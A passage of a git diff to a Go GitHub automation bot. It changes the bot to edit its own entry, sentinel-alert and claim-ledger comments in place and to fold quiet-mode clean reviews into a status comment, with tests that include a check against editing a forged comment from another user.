h.adopt.commentReads != 2 { t.Fatalf("settled marker recovered: pulls=%d reads=%d", len(h.adopt.pulls), h.adopt.commentReads) } rec, _ := h.e.stageStoreOrShared().Get(stageKey("acme", "widget", 7)) diff --git a/src/pkg/github/automerge/automerge_stage_human.go b/src/pkg/github/automerge/automerge_stage_human.go index 40e779c1af..118e61e8bd 100644 --- a/src/pkg/github/automerge/automerge_stage_human.go +++ b/src/pkg/github/automerge/automerge_stage_human.go @@ -681,6 +681,22 @@ func (c *Engine) postHumanEntry(ctx context.Context, store *stagelabels.Store, k return 0, nil } } + // One entry comment per PR and stage, edited in place + // (hivecommons/hive#16433): a later head or cause rewrites the hive's + // existing 085 / 090 comment with an "updated" line instead of posting + // another copy, which emailed everyone again to say the same thing. + if existing := c.findOwnEntryComment(ctx, obs, stagelabels.EntryCommentMarker(route.Stage)); existing != nil { + updated := stagelabels.EntryCommentUpdated(body, c.now()) + // Rewrites the comment the gate admitted when it was posted; an edit notifies nobody. + if _, _, err := c.gh.Issues.EditComment(ctx, obs.Owner, obs.Repo, existing.GetID(), &gh.IssueComment{Body: gh.Ptr(updated)}); err != nil { // writeback:gated + c.warn("stage labels: entry comment edit failed", "repo", obs.Display, "pr", obs.Number, "stage", route.Stage.String(), "error", err) + return 0, err + } + store.MarkEntryCommentedCause(key, obs.HeadSHA, cause) + store.MarkEntryCommentedDecisionKey(key, decisionKey) + c.info("stage labels: entry comment updated in place", "repo", obs.Display, "pr", obs.Number, "stage", route.Stage.String(), "reasons", route.Reasons) + return 0, nil + } if _, _, err := c.gh.Issues.CreateComment(ctx, obs.Owner, obs.Repo, obs.Number, &gh.IssueComment{Body: gh.Ptr(body)}); err != nil { c.warn("stage labels: entry comment failed", "repo", obs.Display, "pr", obs.Number, "stage", route.Stage.String(), "error", err) return 0, err @@ -691,6 +707,33 @@ func (c *Engine) postHumanEntry(ctx context.Context, store *stagelabels.Store, k return 1, nil } +// findOwnEntryComment returns the hive's existing entry comment carrying +// marker on the PR, or nil. Only a comment the hive's App login wrote +// counts: anyone can type the marker, and the hive must never edit a +// stranger's comment. A list failure reads as "none", so the entry is +// posted rather than lost. +func (c *Engine) findOwnEntryComment(ctx context.Context, obs stageObservation, marker string) *gh.IssueComment { + if marker == "" || c == nil || c.transport == nil { + return nil + } + app := normalizeBotLogin(c.transport.AppBotLogin()) + if app == "" { + return nil + } + comments, err := c.listIssueComments(ctx, obs.Owner, obs.Repo, obs.Number) + if err != nil { + c.warn("stage labels: could not list comments for the entry upsert", "repo", obs.Display, "pr", obs.Number, "error", err) + return nil + } + for _, cm := range comments { + if cm == nil || !strings.Contains(cm.GetBody(), marker) || normalizeBotLogin(cm.GetUser().GetLogin()) != app { + continue + } + return cm + } + return nil +} + // workflowApprovalSnippet appends the self-contained ok-to-test workflow, // rendered for this hive's own App login, to the 085 entry when held runs // stayed `action_required` past the grace period (the repository most likely diff --git a/src/pkg/github/automerge/automerge_stage_human_test.go b/src/pkg/github/automerge/automerge_stage_human_test.go index 83ff0e039d..98985ee975 100644 --- a/src/pkg/github/automerge/automerge_stage_human_test.go +++ b/src/pkg/github/automerge/automerge_stage_human_test.go @@ -849,3 +849,61 @@ func TestApplyStageLabelsHumanPRNeverAskedSupersededCloser(t *testing.T) { t.Fatalf("calls=%v result=%+v added=%v", spy.calls, res, api.added) } } + +// TestEntryCommentUpsertsExistingComment: when the hive's 085 entry comment +// is still on the PR, a re-entry on a new head rewrites it in place with an +// "Updated" line instead of posting a second copy (hivecommons/hive#16433). +// A comment carrying the marker but written by someone else is left alone. +func TestEntryCommentUpsertsExistingComment(t *testing.T) { + api := &stageAPI{labels: map[string]string{}, statefulComments: true} + for _, d := range stagelabels.AllLabelDefs() { + api.labels[d.Name] = d.Color + } + srv := newStageAPI(t, api) + defer srv.Close() + clock := &contributorLaneClock{at: time.Date(2026, 10, 20, 12, 0, 0, 0, time.UTC)} + verdict := &ContributorLaneVerdict{Configured: true, Verdict: "requires_human"} + e, store := humanStageEngine(t, srv.URL, clock, verdict, 0) + ctx := context.Background() + sweep := func(head string, labels ...string) { + t.Helper() + api.reset() + pr := stagePR(14, labels...) + pr.Head.SHA = gh.Ptr(head) + pr.Body = gh.Ptr("Fixes the widget.\n\nβ€” hive: backend=pi model=gpt-6\n") + e.recordStage(stageLaneContributor, "acme/widget", "acme", "widget", pr, contributorLaneReasonNoVerdict, false, nil) + e.noteStageVerdict("acme", "widget", 14, *verdict) + e.noteStageRole("acme", "widget", 14, stagelabels.RoleContributor) + if _, err := e.ApplyStageLabels(ctx); err != nil { + t.Fatal(err) + } + } + key := stageKey("acme", "widget", 14) + + // A stranger's comment carrying the marker must never be edited. + api.issueComments = map[int][]map[string]any{14: {{"id": int64(5), "body": stagelabels.DecisionCommentMarker + "\nforged", "user": map[string]any{"login": "mallory"}}}} + + sweep("sha", "role/contributor", "author/human", "stage/050-review-pending") + if len(api.comments) != 1 || !strings.HasPrefix(api.comments[0], stagelabels.DecisionCommentMarker) { + t.Fatalf("first entry comments = %q", api.comments) + } + if len(api.commentEdits) != 0 { + t.Fatalf("a stranger's marker comment was edited: %q", api.commentEdits) + } + + store.Observe(key, stagelabels.ReviewPending, "review-requested") + clock.advance(time.Hour) + sweep("sha2", "role/contributor", "author/human", "stage/050-review-pending") + if got := stageOf(t, store, 14); got != stagelabels.NeedsDecision { + t.Fatalf("stage=%v want 085", got) + } + if len(api.comments) != 0 { + t.Fatalf("new head must edit the existing entry comment, not post another: %q", api.comments) + } + if len(api.commentEdits) != 1 || !strings.HasPrefix(api.commentEdits[0], stagelabels.DecisionCommentMarker) || !strings.Contains(api.commentEdits[0], "Updated 2026-10-20 13:00 UTC.") { + t.Fatalf("entry comment edits = %q", api.commentEdits) + } + if rec, _ := store.Get(key); !rec.EntryCommented || rec.EntryCommentedHead != "sha2" { + t.Fatalf("record after the in-place update: %+v", rec) + } +} diff --git a/src/pkg/github/claimed_by_label.go b/src/pkg/github/claimed_by_label.go index 1d3b080403..8595c2746b 100644 --- a/src/pkg/github/claimed_by_label.go +++ b/src/pkg/github/claimed_by_label.go @@ -92,23 +92,45 @@ func (c *Client) humanClaimReleased(ctx context.Context, owner, repo string, num return false, err } var bodies []string + // The claim ledger (claims.LedgerMarker) is one comment rewritten per + // transition: once released it carries only the release marker, the + // human claim it ended no longer appears anywhere. A ledger whose + // current state is a human release is a released human claim. + ledgerReleasedHuman := false for _, comment := range comments { if !c.isTrustedAppBotCommentAuthor(comment) { continue } body := comment.GetBody() - if _, ok := issueclaim.ParseReleaseMarker(body); ok { + if rel, ok := issueclaim.ParseReleaseMarker(body); ok { bodies = append(bodies, body) + if strings.Contains(body, claims.LedgerMarker) { + ledgerReleasedHuman = humanClaimKind(rel.Kind) + } + continue + } + marker, ok := issueclaim.ParseMarker(body) + if !ok { continue } - if marker, ok := issueclaim.ParseMarker(body); ok && - (strings.EqualFold(marker.Kind, string(claims.KindHuman)) || - strings.EqualFold(marker.Kind, string(claims.KindContributor)) || strings.EqualFold(marker.Kind, string(claims.KindExternal))) { + if humanClaimKind(marker.Kind) { bodies = append(bodies, body) + } else if strings.Contains(body, claims.LedgerMarker) { + ledgerReleasedHuman = claims.LedgerHumanReleased(body) } } latest, found := issueclaim.Latest(bodies, 0) - return found && latest.Released, nil + if !found { + return ledgerReleasedHuman, nil + } + return latest.Released, nil +} + +// humanClaimKind reports whether kind names a human principal: a person, a +// relay contributor or an external bot acting for one. +func humanClaimKind(kind string) bool { + return strings.EqualFold(kind, string(claims.KindHuman)) || + strings.EqualFold(kind, string(claims.KindContributor)) || strings.EqualFold(kind, string(claims.KindExternal)) } // RemoveClaimedByLabel removes the claimed-by label(s) derived from claim: diff --git a/src/pkg/github/issue_marker_comment.go b/src/pkg/github/issue_marker_comment.go new file mode 100644 index 0000000000..cc7f926e0c --- /dev/null +++ b/src/pkg/github/issue_marker_comment.go @@ -0,0 +1,77 @@ +package github + +import ( + "context" + "fmt" + "strings" + + gh "github.com/google/go-github/v72/github" +) + +// IssueMarkerCommentResult reports what EditIssueMarkerComment did. +type IssueMarkerCommentResult struct { + // Found is set when a comment carrying the marker already existed; + // Previous is its body before the edit. + Found bool + Previous string + // Created is set when the body was posted as a new comment. + Created bool + // Edited is set when the existing comment was rewritten. + Edited bool +} + +// EditIssueMarkerComment finds the hive's own comment on repo#number that +// carries marker, asks render for the body that should replace it (render +// receives the previous body, or "" when none exists) and edits it in +// place; when no such comment exists the rendered body is posted as a new +// comment through the per-issue comment budget. An empty rendered body is +// a no-op, as is an unchanged one. +// +// Editing notifies nobody, which is the point: the claim ledger +// (hivecommons/hive#16433) replaces one comment per claim transition with +// one comment per issue. Only a comment one of the hive's own accounts +// wrote is edited; when the hive cannot name its accounts, any author is +// accepted, the same fallback the sentinel's marker reads use. +func (c *Client) EditIssueMarkerComment(ctx context.Context, repo string, number int, marker string, render func(previous string) string) (IssueMarkerCommentResult, error) { + if c == nil { + return IssueMarkerCommentResult{}, ErrNoGitHubClient + } + if render == nil { + return IssueMarkerCommentResult{}, fmt.Errorf("editing marker comment on %s#%d: no renderer", repo, number) + } + owner, repoName := c.splitRepo(repo) + comments, err := c.listIssueComments(ctx, owner, repoName, number) + if err != nil { + return IssueMarkerCommentResult{}, err + } + var existing *gh.IssueComment + for _, cm := range comments { + if cm == nil || !strings.Contains(cm.GetBody(), marker) || !c.markerAuthorTrusted(cm.GetUser()) { + continue + } + existing = cm + break + } + if existing == nil { + body := render("") + if strings.TrimSpace(body) == "" { + return IssueMarkerCommentResult{}, nil + } + if err := c.CreateIssueCommentBudgeted(ctx, owner+"/"+repoName, number, body); err != nil { + return IssueMarkerCommentResult{}, err + } + return IssueMarkerCommentResult{Created: true}, nil + } + res := IssueMarkerCommentResult{Found: true, Previous: existing.GetBody()} + body := render(res.Previous) + if strings.TrimSpace(body) == "" || body == res.Previous { + return res, nil + } + // Rewrites a comment the hive already owns; an edit notifies nobody. + if _, _, err := c.client.Issues.EditComment(ctx, owner, repoName, existing.GetID(), &gh.IssueComment{Body: gh.Ptr(body)}); err != nil { // writeback:gated + return res, fmt.Errorf("editing marker comment on %s/%s#%d: %w", owner, repoName, number, err) + } + c.noteCommentEdited() + res.Edited = true + return res, nil +} diff --git a/src/pkg/github/issue_marker_comment_test.go b/src/pkg/github/issue_marker_comment_test.go new file mode 100644 index 0000000000..04a9637a24 --- /dev/null +++ b/src/pkg/github/issue_marker_comment_test.go @@ -0,0 +1,88 @@ +package github + +import ( + "context" + "strings" + "testing" +) + +// The first write creates the marker comment; later writes edit it in +// place, hand the renderer the previous body, and skip the edit when the +// renderer returns the same or an empty body. +func TestEditIssueMarkerCommentCreatesThenEdits(t *testing.T) { + s := &statusCommentServer{} + srv := s.start(t) + c := testClient(t, srv.URL) + c.SetAppBotLogin("hive-app[bot]") + ctx := context.Background() + const marker = "" + + res, err := c.EditIssueMarkerComment(ctx, "o/r", 7, marker, func(prev string) string { + if prev != "" { + t.Fatalf("first render got previous %q", prev) + } + return marker + "\nv1" + }) + if err != nil || !res.Created || res.Found || res.Edited { + t.Fatalf("first write = %+v, %v", res, err) + } + res, err = c.EditIssueMarkerComment(ctx, "o/r", 7, marker, func(prev string) string { + if !strings.HasSuffix(prev, "v1") { + t.Fatalf("second render got previous %q", prev) + } + return marker + "\nv2" + }) + if err != nil || !res.Found || !res.Edited || res.Created { + t.Fatalf("second write = %+v, %v", res, err) + } + res, err = c.EditIssueMarkerComment(ctx, "o/r", 7, marker, func(prev string) string { return prev }) + if err != nil || !res.Found || res.Edited { + t.Fatalf("unchanged body must not edit: %+v, %v", res, err) + } + res, err = c.EditIssueMarkerComment(ctx, "o/r", 7, marker, func(string) string { return " " }) + if err != nil || !res.Found || res.Edited { + t.Fatalf("empty body must not edit: %+v, %v", res, err) + } + if s.creates != 1 || s.edits != 1 || len(s.comments) != 1 { + t.Fatalf("creates=%d edits=%d comments=%d, want 1/1/1", s.creates, s.edits, len(s.comments)) + } + if got := s.comments[0]["body"]; got != marker+"\nv2" { + t.Fatalf("comment body = %q", got) + } +} + +// A marker comment by someone other than the hive is never edited: the +// hive posts its own instead. An empty first render posts nothing. +func TestEditIssueMarkerCommentIgnoresForeignAuthorAndEmptyBody(t *testing.T) { + s := &statusCommentServer{} + s.comments = append(s.comments, map[string]any{"id": 9, "body": "\nforged", "user": map[string]any{"login": "mallory", "type": "User"}}) + srv := s.start(t) + c := testClient(t, srv.URL) + c.SetAppBotLogin("hive-app[bot]") + ctx := context.Background() + const marker = "" + + res, err := c.EditIssueMarkerComment(ctx, "o/r", 7, marker, func(string) string { return "" }) + if err != nil || res.Found || res.Created { + t.Fatalf("empty first render = %+v, %v", res, err) + } + res, err = c.EditIssueMarkerComment(ctx, "o/r", 7, marker, func(prev string) string { + if prev != "" { + t.Fatalf("forged comment must not be offered as previous: %q", prev) + } + return marker + "\nours" + }) + if err != nil || !res.Created { + t.Fatalf("write past forged comment = %+v, %v", res, err) + } + if s.creates != 1 || s.edits != 0 { + t.Fatalf("creates=%d edits=%d, want 1/0", s.creates, s.edits) + } + + if _, err := (*Client)(nil).EditIssueMarkerComment(ctx, "o/r", 7, marker, func(string) string { return "x" }); err == nil { + t.Fatal("nil client must error") + } + if _, err := c.EditIssueMarkerComment(ctx, "o/r", 7, marker, nil); err == nil { + t.Fatal("nil renderer must error") + } +} diff --git a/src/pkg/github/notification_write_sites.go b/src/pkg/github/notification_write_sites.go index c1d42b61c5..c53e6d5dfe 100644 --- a/src/pkg/github/notification_write_sites.go +++ b/src/pkg/github/notification_write_sites.go @@ -27,6 +27,7 @@ var notificationWriteSites = map[string]NotificationWriteSite{ "main.(*repoForgeRouter).CreateIssueComment": {Class: NotificationClassAttention, Passthrough: true}, "main.liveTriageCommenter.CreateIssueComment": {Class: NotificationClassAttention, Passthrough: true}, "github.(*Client).UpsertIssueMarkerComment": {Class: NotificationClassStatus, Passthrough: true}, + "github.(*Client).EditIssueMarkerComment": {Class: NotificationClassStatus, Passthrough: true}, "github.(*clientStatusForge).CreateComment": {Class: NotificationClassStatus, Passthrough: true}, "github.(*Client).PostIssueNote": {Class: NotificationClassStatus, Passthrough: true}, "automerge.(*engineStatusForge).CreateComment": {Class: NotificationClassStatus, Passthrough: true}, diff --git a/src/pkg/github/pr_status_comment_test.go b/src/pkg/github/pr_status_comment_test.go index b235a3c421..300a72480d 100644 --- a/src/pkg/github/pr_status_comment_test.go +++ b/src/pkg/github/pr_status_comment_test.go @@ -28,6 +28,7 @@ type statusCommentServer struct { creates int edits int deletes []string + reviews int } var issuePathRe = regexp.MustCompile(`^/repos/[^/]+/[^/]+/issues/(\d+)$`) @@ -44,6 +45,9 @@ func (s *statusCommentServer) start(t *testing.T) *httptest.Server { _ = json.NewEncoder(w).Encode(map[string]any{"number": n, "state": "open", "user": map[string]any{"login": "alice", "type": "User"}, "labels": []any{}}) case r.Method == http.MethodGet && strings.HasSuffix(r.URL.Path, "/comments"): _ = json.NewEncoder(w).Encode(s.comments) + case r.Method == http.MethodPost && strings.HasSuffix(r.URL.Path, "/reviews"): + s.reviews++ + _ = json.NewEncoder(w).Encode(map[string]any{"id": 1, "state": "APPROVED"}) case r.Method == http.MethodPost && strings.HasSuffix(r.URL.Path, "/comments"): var body map[string]string _ = json.NewDecoder(r.Body).Decode(&body) @@ -264,6 +268,73 @@ func TestReviewRequestWatcher_QuietModeSuppressesNoFindingsReview(t *testing.T) } } +// Quiet mode: a narrated clean review from a plain reviewer lane ("Read the +// tree … Looks correct to me. No findings.") whose verdict approves with no +// findings is suppressed like the one-line acknowledgement, and its body is +// folded into the PR's status comment β€” created once, then edited in place +// when the second lane reports β€” instead of being submitted as a review. +func TestReviewRequestWatcher_QuietModeSuppressesNarratedCleanReview(t *testing.T) { + s := &statusCommentServer{} + srv := s.start(t) + c := reviewTestClient(t, srv.URL) + c.SetAppBotLogin("hive-app[bot]") + c.SetNotificationsQuiet(func() bool { return true }) + dir := withReviewDir(t) + oldLinks := ReviewLinksPath + ReviewLinksPath = filepath.Join(t.TempDir(), "review-links.json") + t.Cleanup(func() { ReviewLinksPath = oldLinks }) + withVerdictDispatchState(t, review.DispatchState{Pending: []review.PendingReview{ + {Repo: "o/r", Number: 5, HeadSHA: "abc", Perspective: review.PerspectiveCorrectness, Agent: "reviewer"}, + {Repo: "o/r", Number: 5, HeadSHA: "abc", Perspective: review.PerspectiveSecurity, Agent: "reviewer-2"}, + }}) + + submit := func(agent, perspective, event, verdict, body string) ReviewResponse { + t.Helper() + path, err := WriteReviewRequest(dir, ReviewRequest{Repo: "o/r", Number: 5, Event: event, Agent: agent, Body: body, Report: validVerdictJSON(t, "o/r", 5, perspective, verdict)}) + if err != nil { + t.Fatal(err) + } + c.ProcessReviewRequestsOnce(context.Background()) + raw, err := os.ReadFile(strings.TrimSuffix(path, ".json") + ".result.json") + if err != nil { + t.Fatal(err) + } + var resp ReviewResponse + _ = json.Unmarshal(raw, &resp) + return resp + } + + narrated := "Read the tree at `c7c8dfb`: the retry loop bounds its attempts. Looks correct to me.\n\nNo findings." + resp := submit("reviewer", "correctness", "approve", "approve", narrated) + if !resp.OK || resp.State != ReviewEventRecordVerdict || resp.Note != reviewNoFindingsSuppressedNote { + t.Fatalf("narrated clean review must be recorded, not posted: %+v", resp) + } + if s.reviews != 0 || s.creates != 1 || s.edits != 0 { + t.Fatalf("reviews=%d creates=%d edits=%d, want the verdict folded into one new status comment", s.reviews, s.creates, s.edits) + } + body, _ := s.comments[0]["body"].(string) + if !strings.Contains(body, "**Reviewed** by `reviewer` β€” no findings.") || !strings.Contains(body, "Looks correct to me.") { + t.Fatalf("status comment must carry the verdict and the reviewer's notes: %q", body) + } + + if resp := submit("reviewer-2", "security", "approve", "approve", "Checked the token handling; no findings from security."); !resp.OK || resp.State != ReviewEventRecordVerdict { + t.Fatalf("second lane must be recorded too: %+v", resp) + } + if s.reviews != 0 || s.creates != 1 || s.edits != 1 { + t.Fatalf("reviews=%d creates=%d edits=%d, want the second lane to edit the status comment", s.reviews, s.creates, s.edits) + } + body, _ = s.comments[0]["body"].(string) + if !strings.Contains(body, "by `reviewer` β€”") || !strings.Contains(body, "by `reviewer-2` β€”") { + t.Fatalf("both lanes must share the status comment: %q", body) + } + + // A body that says "no findings" while the verdict disagrees is a + // real review and still goes out. + if resp := submit("reviewer", "correctness", "request_changes", "changes_requested", "No findings on the happy path, but `main.go:12` drops the error."); !resp.OK || s.reviews != 1 { + t.Fatalf("a non-approving verdict must still post: %+v reviews=%d", resp, s.reviews) + } +} + func TestMaxReviewsPerHeadQuietMode(t *testing.T) { c := testClient(t, "http://127.0.0.1:0") c.SetReviewCadenceLimits(func() bool { return false }, func() int { return 0 }) diff --git a/src/pkg/github/review_request_watcher.go b/src/pkg/github/review_request_watcher.go index ea582bb3de..e85ce6526c 100644 --- a/src/pkg/github/review_request_watcher.go +++ b/src/pkg/github/review_request_watcher.go @@ -299,18 +299,25 @@ func (c *Client) handleOneReviewRequest(ctx context.Context, path string, src re threadID := strings.TrimSpace(req.ThreadID) // A "comment" that names a thread is an in-thread reply, not a PR review. threadReply := okEvent && apiEvent == "COMMENT" && threadID != "" - // Quiet notification mode: a review whose whole body is the clean - // acknowledgement ("**Reviewed** β€” no findings from …") is recorded as - // a verdict and never submitted. Submitting it emails the author and - // every watcher to say nothing happened; the verdict still reaches the - // evidence bundle and the Activity Monitor. The request keeps its + // Quiet notification mode: a clean review β€” the one-line acknowledgement + // ("**Reviewed** β€” no findings from …"), or a narrated body that says it + // has no findings while its verdict report approves with none + // (review.CleanReview; the plain reviewer lanes write the latter, + // hivecommons/hive#16433) β€” is recorded as a verdict and never + // submitted. Submitting it emails the author and every watcher to say + // nothing happened; the verdict still reaches the evidence bundle and + // the Activity Monitor, and the body is folded into the PR's status + // comment below so the reasoning is not lost. The request keeps its // report, so the shape checks below treat it exactly as record_verdict. noFindingsSuppressed := false if okEvent && !recordOnly && !resolveThread && threadID == "" && !req.Revise && - c.notificationsQuiet() && strings.TrimSpace(req.Report) != "" && review.NoFindingsAcknowledgement(req.Body) { - recordOnly = true - noFindingsSuppressed = true - req.Event = ReviewEventRecordVerdict + c.notificationsQuiet() && strings.TrimSpace(req.Report) != "" { + reports, _ := review.ValidateReportsFor([]byte(strings.TrimSpace(req.Report)), c.perspectives) + if review.CleanReview(req.Body, reports) { + recordOnly = true + noFindingsSuppressed = true + req.Event = ReviewEventRecordVerdict + } } // Validate shape BEFORE authorizing or touching the API β€” a hopeless request // must never retry. @@ -506,6 +513,14 @@ func (c *Client) handleOneReviewRequest(ctx context.Context, path string, src re // Authorized and well-formed, but nothing to post: record and finish // without touching the GitHub API. if recordOnly { + if noFindingsSuppressed { + // The clean verdict lands in the status comment, edited in + // place, instead of a review submission of its own. + if _, ferr := c.UpsertPRStatusSection(ctx, req.Repo, req.Number, prstatus.KeyReviewFindingsPrefix+verdictSlug(req.Agent), reviewNoFindingsSection(req)); ferr != nil { + c.logger.Warn("review-request watcher: could not fold the clean verdict into the status comment", + slog.String("repo", req.Repo), slog.Int("number", req.Number), slog.String("error", ferr.Error())) + } + } c.recordReviewEvidence(ctx, req, c.recordReviewVerdict(ctx, req, ""), nil, nowFn()) if err := c.fileOutOfScopeReviewBacklog(ctx, req, nowFn().UTC()); err != nil { c.logger.Warn("review-request watcher: could not file out-of-scope backlog", @@ -971,6 +986,20 @@ func (c *Client) maxReviewsPerHead() int { // acknowledgement the quiet mode recorded instead of submitting. const reviewNoFindingsSuppressedNote = "comment suppressed: no-findings acknowledgement recorded as a verdict (github.notifications.mode: quiet)" +// reviewNoFindingsSection renders a suppressed clean review for the status +// comment: the verdict on its own line, the reviewer's reasoning folded. +func reviewNoFindingsSection(req ReviewRequest) string { + var b strings.Builder + fmt.Fprintf(&b, "**Reviewed** by `%s` β€” no findings.", strings.TrimSpace(req.Agent)) + body := strings.TrimSpace(req.Body) + if body != "" && !review.NoFindingsAcknowledgement(body) { + b.WriteString("\n\n
Reviewer notes\n\n") + b.WriteString(body) + b.WriteString("\n\n
") + } + return b.String() +} + // reviewFindingsSection renders a perspective's findings for the status // comment: who found them, then the body as written. func reviewFindingsSection(req ReviewRequest) string { diff --git a/src/pkg/github/sentinel_sweep.go b/src/pkg/github/sentinel_sweep.go index ad557e6c47..d83985ffe7 100644 --- a/src/pkg/github/sentinel_sweep.go +++ b/src/pkg/github/sentinel_sweep.go @@ -692,6 +692,39 @@ func (c *Client) trySentinelPR(ctx context.Context, displayRepo, owner, repo str if err != nil { return SentinelSweepEvent{}, false, err } + // The hive's sentinel comment for an EARLIER head, if this head has + // none yet. A new push rewrites it for the new head rather than + // stamping the PR a second time (hivecommons/hive#16433): the label is + // what blocks, the comment is the explanation, and one explanation per + // PR is enough. Only a comment the hive can verify as its own is + // reused β€” a hive that cannot name its accounts never rewrites a + // comment the PR author may have forged. findOwnMarkerComment keeps + // its exact-head read for the clearance logic below. + var prior *gh.IssueComment + if !posted && c.knowsOwnAccounts() { + if prior, _, err = c.findOwnMarkerComment(ctx, owner, repo, number, SentinelMarker); err != nil { + return SentinelSweepEvent{}, false, err + } + } + writeSentinelComment := func(body, what string) error { + target := comment + if !posted { + target = prior + } + if target != nil { + if _, _, err := c.client.Issues.EditComment(ctx, owner, repo, target.GetID(), &gh.IssueComment{Body: gh.Ptr(body)}); err != nil { // writeback:gated + return fmt.Errorf("updating sentinel %s: %w", what, err) + } + c.noteCommentEdited() + return nil + } + _, resp, err := c.client.Issues.CreateComment(ctx, owner, repo, number, &gh.IssueComment{Body: gh.Ptr(body)}) // writeback:gated + c.noteWritebackOutcome(displayRepo, resp, err) + if err != nil { + return fmt.Errorf("posting sentinel %s: %w", what, err) + } + return nil + } if decision.Block && !hasAlertLabel && sentinelClearedByMaintainer(comment, posted) { // The alert for this exact head is on the PR but the label is not: // only a maintainer removes it, and the comment promised "Hive will @@ -741,16 +774,14 @@ func (c *Client) trySentinelPR(ctx context.Context, displayRepo, owner, repo str if err != nil { return SentinelSweepEvent{}, false, fmt.Errorf("removing %s label from trusted author PR: %w", label, err) } - if _, _, err := c.client.Issues.EditComment(ctx, owner, repo, comment.GetID(), &gh.IssueComment{Body: gh.Ptr(body)}); err != nil { // writeback:gated - return SentinelSweepEvent{}, false, fmt.Errorf("updating sentinel notice: %w", err) + if err := writeSentinelComment(body, "notice"); err != nil { + return SentinelSweepEvent{}, false, err } return event, true, nil } if !posted { - _, resp, err := c.client.Issues.CreateComment(ctx, owner, repo, number, &gh.IssueComment{Body: gh.Ptr(body)}) // writeback:gated - c.noteWritebackOutcome(displayRepo, resp, err) - if err != nil { - return SentinelSweepEvent{}, false, fmt.Errorf("posting sentinel notice: %w", err) + if err := writeSentinelComment(body, "notice"); err != nil { + return SentinelSweepEvent{}, false, err } } return event, true, nil @@ -763,15 +794,8 @@ func (c *Client) trySentinelPR(ctx context.Context, displayRepo, owner, repo str if err != nil { return SentinelSweepEvent{}, false, fmt.Errorf("adding %s label: %w", label, err) } - body := SentinelComment(decision, head, author, findings) - if posted { - if _, _, err := c.client.Issues.EditComment(ctx, owner, repo, comment.GetID(), &gh.IssueComment{Body: gh.Ptr(body)}); err != nil { // writeback:gated - return SentinelSweepEvent{}, false, fmt.Errorf("updating sentinel alert: %w", err) - } - } else { - if _, _, err := c.client.Issues.CreateComment(ctx, owner, repo, number, &gh.IssueComment{Body: gh.Ptr(body)}); err != nil { // writeback:gated - return SentinelSweepEvent{}, false, fmt.Errorf("posting sentinel comment: %w", err) - } + if err := writeSentinelComment(SentinelComment(decision, head, author, findings), "alert"); err != nil { + return SentinelSweepEvent{}, false, err } return event, true, nil } diff --git a/src/pkg/github/sentinel_sweep_test.go b/src/pkg/github/sentinel_sweep_test.go index 28ba0cf986..ce53e97d5f 100644 --- a/src/pkg/github/sentinel_sweep_test.go +++ b/src/pkg/github/sentinel_sweep_test.go @@ -1,6 +1,7 @@ package github -// Tests for the sentinel sweep: label + one comment per head on a finding, +// Tests for the sentinel sweep: label + one comment per PR on a finding +// (rewritten for each new head when the hive can verify its own comment), // nothing on a clean PR, no re-application once a maintainer clears the // label for an unchanged head (including across a restart, where the // clearance is read back from the alert comment), fail-closed on an @@ -551,8 +552,8 @@ func TestSweepSentinelClearanceOnNewerHeadIsHonoured(t *testing.T) { c := newTestClient(t, srv, "o", []string{"o/r"}) c.SetAppBotLogin("hive[bot]") res, err := c.SweepSentinel(context.Background(), defaultSentinelOpts(nil)) - if err != nil || len(res.Flagged) != 1 || len(f.labels[9]) != 1 || len(f.comments[9]) != 2 || !strings.Contains(f.comments[9][1], SentinelMarker+" hC") { - t.Fatalf("push after clearance must re-alert: res=%+v err=%v labels=%v comments=%d", res, err, f.labels[9], len(f.comments[9])) + if err != nil || len(res.Flagged) != 1 || len(f.labels[9]) != 1 || len(f.comments[9]) != 1 || !strings.Contains(f.comments[9][0], SentinelMarker+" hC") { + t.Fatalf("push after clearance must re-alert by rewriting the hive's comment: res=%+v err=%v labels=%v comments=%v", res, err, f.labels[9], f.comments[9]) } }) } @@ -617,8 +618,8 @@ func TestSweepSentinelDashboardApprovalReleasesHead(t *testing.T) { c := newTestClient(t, srv, "o", []string{"o/r"}) c.SetAppBotLogin("hive[bot]") res, err := c.SweepSentinel(context.Background(), defaultSentinelOpts(nil)) - if err != nil || len(res.Flagged) != 1 || len(f.labels[9]) != 1 || len(f.comments[9]) != 4 || !strings.Contains(f.comments[9][3], SentinelMarker+" hC") { - t.Fatalf("push after the approval must re-alert: res=%+v err=%v labels=%v comments=%d", res, err, f.labels[9], len(f.comments[9])) + if err != nil || len(res.Flagged) != 1 || len(f.labels[9]) != 1 || len(f.comments[9]) != 3 || !strings.Contains(f.comments[9][0], SentinelMarker+" hC") { + t.Fatalf("push after the approval must re-alert by rewriting the hive's comment: res=%+v err=%v labels=%v comments=%v", res, err, f.labels[9], f.comments[9]) } } @@ -654,8 +655,8 @@ func TestSweepSentinelDashboardApprovalNotHonoured(t *testing.T) { c := newTestClient(t, srv, "o", []string{"o/r"}) c.SetAppBotLogin("hive[bot]") res, err := c.SweepSentinel(context.Background(), defaultSentinelOpts(nil)) - if err != nil || len(res.Flagged) != 1 || len(f.labels[9]) != 1 || len(f.comments[9]) != 3 || !strings.Contains(f.comments[9][2], SentinelMarker+" hB") { - t.Fatalf("new head must re-alert: res=%+v err=%v labels=%v comments=%v", res, err, f.labels[9], f.comments[9]) + if err != nil || len(res.Flagged) != 1 || len(f.labels[9]) != 1 || len(f.comments[9]) != 2 || !strings.Contains(f.comments[9][0], SentinelMarker+" hB") || f.comments[9][1] != tc.body { + t.Fatalf("new head must re-alert by rewriting the hive's comment, leaving the other alone: res=%+v err=%v labels=%v comments=%v", res, err, f.labels[9], f.comments[9]) } }) } @@ -800,8 +801,8 @@ func TestSweepSentinelClearanceOnNewerHeadRejected(t *testing.T) { if got := f.labels[9]; len(got) != 1 || got[0] != "sentinel-alert" { t.Fatalf("label must be applied: %v", got) } - if len(f.comments[9]) != 2 || f.comments[9][0] != alertA || !strings.Contains(f.comments[9][1], SentinelMarker+" hB") { - t.Fatalf("a fresh alert for hB must be posted and the hA alert left alone: %v", f.comments[9]) + if len(f.comments[9]) != 1 || !strings.Contains(f.comments[9][0], SentinelMarker+" hB") || strings.Contains(f.comments[9][0], SentinelMarker+" hA") { + t.Fatalf("the hA alert must be rewritten for hB, not duplicated: %v", f.comments[9]) } }) } diff --git a/src/pkg/issueclaim/issueclaim.go b/src/pkg/issueclaim/issueclaim.go index 0b481814ec..8f563ae148 100644 --- a/src/pkg/issueclaim/issueclaim.go +++ b/src/pkg/issueclaim/issueclaim.go @@ -128,6 +128,9 @@ func (c Claim) Live(now time.Time) bool { type Release struct { Identity string At 